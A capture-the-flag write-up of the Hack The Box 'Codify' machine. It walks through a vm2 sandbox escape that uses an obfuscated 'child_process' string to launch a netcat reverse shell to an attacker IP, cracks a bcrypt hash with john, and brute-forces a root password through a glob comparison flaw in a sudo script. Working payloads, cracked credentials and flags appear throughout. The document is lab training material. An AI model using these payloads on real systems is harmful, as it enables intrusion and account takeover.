Codify

Scanning and Enumeration

```
┌──(moghees㉿kali)-[~/Desktop/CTF/HTB/codify]
└─$ cat nmap.scan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-11 12:12 PKT
Nmap scan report for 10.10.11.239
Host is up (0.15s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.39 seconds
```

> Our code editor is a powerful tool that allows developers to write and test Node.js code in a user-friendly environment. You can write and run your JavaScript code directly in the browser, making it easy to experiment and debug your applications.

- Since we can run js code.

Limitations

The Codify platform allows users to write and run Node.js code online, but there are certain limitations in place to ensure the security of the platform and its users.

Restricted Modules

The following Node.js modules have been restricted from importing:

- child_process
- fs

The vm2 library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system. We take the security and reliability of our platform seriously, and we use vm2 to ensure a safe testing environment for your code.

Exploitation

- Looked for exploits related to **vm2**. Got this:
https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c

but it included **child_process** which was restricted, so used obfuscation and changed it into '**\x63hild_process**'.
Then used **netcat** to get reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

```
const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('\x63hild_process').execSync('rm /tmp/f;mkfifo
/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.164 69 >/tmp/f');
}
`

console.log(vm.run(code));
```

```
┌──(moghees㉿kali)-[~/Desktop/CTF/HTB/codify]
└─$ nc -nvlp 69
listening on [any] 69 ...
connect to [10.10.14.164] from (UNKNOWN) [10.10.11.239] 58642
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
$
```

Got foothold.

user flag

There was no user flag here.

So after further enumeration, I found this

```
svc@codify:/var/www/contact$ cat tickets.db
cat tickets.db
◆T5◆◆T◆format 3@  .WJ
       otableticketsticketsCREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT,
description TEXT, status TEXT)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)◆◆t
ableusersusersCREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
◆◆G◆joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
◆◆
◆◆◆◆ua  users
             ickets
r]r◆h%%◆Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like i
nstead of coming to this site, can I download this and set it up in my own computer? A feature like that would
 be nice.open◆ ;◆wTom HanksNeed networking modulesI think it would be better if you can implement a way to han
dle network-based stuff. Would help me out a lot. Thanks!opensvc@codify:/var/www/contact$
```

```
┌──(moghees㉿kali)-[~/Desktop/CTF/HTB/codify]
└─$ john joshua_pass --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob1       (?)
1g 0:00:01:29 DONE (2023-11-11 12:57) 0.01120g/s 15.33p/s 15.33c/s 15.33C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(moghees㉿kali)-[~/Desktop/CTF/HTB/codify]
└─$
```

Username : **joshua**
Password : **spongebob1**

```
┌──(moghees㉿kali)-[~/Desktop/CTF/HTB/codify]
└─$ ssh joshua@10.10.11.239
The authenticity of host '10.10.11.239 (10.10.11.239)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xotOsBBE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.239' (ED25519) to the list of known hosts.
joshua@10.10.11.239's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Nov 11 07:58:13 AM UTC 2023

  System load:                      0.01708984375
  Usage of /:                       69.6% of 6.50GB
  Memory usage:                     32%
  Swap usage:                       0%
  Processes:                        274
  Users logged in:                  1
  IPv4 address for br-030a38808dbf: 172.18.0.1
  IPv4 address for br-5ab86a4e40d0: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.239
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:32c5


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or p
roxy settings


Last login: Sat Nov 11 07:37:58 2023 from 10.10.14.29
```

```
joshua@codify:~$ cat user.txt
50dd72545b7c3e962ad250d5ccd24b97
joshua@codify:~$
```

priv esc

```
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
joshua@codify:~$
```

```
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr
/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip >
 "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
```

Brute Force the password

```
joshua@codify:~$ cat exploit.py
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
 text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
joshua@codify:~$
```

The script is vulnerable as you will get partial password when you use * with a character. (Hint)

```
joshua@codify:~$ python3 exploit.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
```

```
joshua@codify:/opt/scripts$ su root
Password:
root@codify:/opt/scripts#
```

root flag

```
root@codify:/# cd root
root@codify:~# ls
root.txt  scripts
root@codify:~# cat root.txt
3e2d91d1dbc979ddeade2ec456f733c2
root@codify:~#
```